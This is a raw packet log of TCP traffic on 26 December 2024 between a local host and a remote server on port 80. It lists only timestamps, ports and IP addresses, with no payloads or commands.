Dec 26, 2024 12:05:09.748440027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.748473883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.748549938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.748584986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.749433041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.749461889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.749473095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.749497890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.750448942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.750483036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.750550032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.750586987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.751481056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.751514912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.751636028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.751671076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.752507925 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.752541065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.752578974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.752618074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.753583908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.753622055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.753700018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.753736019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.754542112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.754576921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.754725933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.754760981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.755610943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.755646944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.755712032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.755747080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.756602049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.756635904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.756757021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.756792068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.757652044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.757689953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.757724047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.757757902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.758658886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.758697033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.758764982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.758801937 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.759676933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.759712934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.759795904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.759829998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.760696888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.760735035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.760817051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.760864019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.761714935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.761753082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.761785030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.761821985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.762746096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.762794018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.762855053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.762954950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.763818979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.763854980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.763887882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.763917923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.764796972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.764832973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.765036106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.765074015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.765825033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.765862942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.765901089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.765935898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.766830921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.766869068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.766952991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.766990900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.767987967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.768022060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.768250942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.768284082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.768884897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.768918037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.768987894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.769022942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.769984961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.770018101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.770064116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.770097017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.770977020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.771011114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.771111965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.771145105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.771986961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.772021055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.772023916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.772056103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.773001909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.773037910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.773102999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.773135900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.774030924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.774065018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.774131060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.774166107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.775058985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.775096893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.775190115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.775222063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.776078939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.776113987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.776124954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.776156902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.777076960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.777111053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.934196949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.934245110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.934329987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.934365988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.934792995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.934828043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.934859037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.934890032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.935708046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.935740948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.935836077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.935870886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.936749935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.936785936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.936857939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.936893940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.937812090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.937845945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.937891960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.937958956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.938807964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.938841105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.938908100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.938942909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.939872026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.939908028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.939959049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.939999104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.940840006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.940906048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.940923929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.940959930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.941945076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.941981077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.942013979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.942049026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.942894936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.942933083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.943016052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.943052053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.943921089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.943958998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.944000959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.944036007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.944947958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.944984913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.945050001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.945082903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.945962906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.946001053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.946084023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.946120024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.946960926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.946995974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.947124004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.947160959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.948038101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.948076010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.948165894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.948199987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.949100018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.949136019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.949197054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.949230909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.950087070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.950124025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.950299978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.950336933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.951145887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.951181889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.951217890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.951253891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.952127934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.952163935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.952236891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.952270031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.953155041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.953192949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.953233004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.953268051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.954183102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.954229116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.954261065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.954296112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.955219984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.955266953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.955307961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.955343008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.956237078 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.956290007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.956530094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.956572056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.957247972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.957293987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.957412004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.957448959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.958295107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.958340883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.958383083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.958420992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.959333897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.959358931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.959383011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.959400892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.960412025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.960459948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.960472107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.960505962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.961427927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.961479902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.961545944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.961585045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.962418079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.962480068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.962516069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.962548971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.963376045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.963494062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.963512897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.963547945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.964484930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.964530945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.964560986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.964639902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.965754986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.965802908 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.965821028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.965856075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.966948032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.967019081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.967072010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.967104912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.968061924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.968110085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.968162060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.968194962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.969449997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.969456911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.969511986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.970462084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.970513105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.970536947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.970578909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.971182108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.971235037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.971322060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.971364975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.971939087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.971986055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.972029924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.972089052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.972767115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.972810984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.972820044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.972856998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.973649979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.973720074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.973751068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.973789930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.974685907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.974734068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.974756002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.974793911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.975768089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.975821972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.975821972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.975857973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.976706982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.976757050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.976835966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.976876020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.977735996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.977786064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.977859974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.977905035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.978809118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.978854895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.978854895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.978897095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.979779959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.979823112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.979892969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.979950905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.980818033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.980861902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.980910063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.980948925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.982084990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.982130051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.982146978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.982187986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.983088017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.983129025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.983211994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.983249903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.984122038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.984163046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.984255075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.984285116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.985044003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.985088110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.985137939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.985179901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.985965014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.986006975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.986040115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.986083031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.986939907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.986983061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.987059116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.987103939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.987973928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.988015890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.144818068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.144875050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.144989014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.145059109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.145257950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.145299911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.145488977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.145533085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.146333933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.146372080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.146440983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.146478891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.147363901 CET	80	49708	185.81.68.147	192.168.2.5
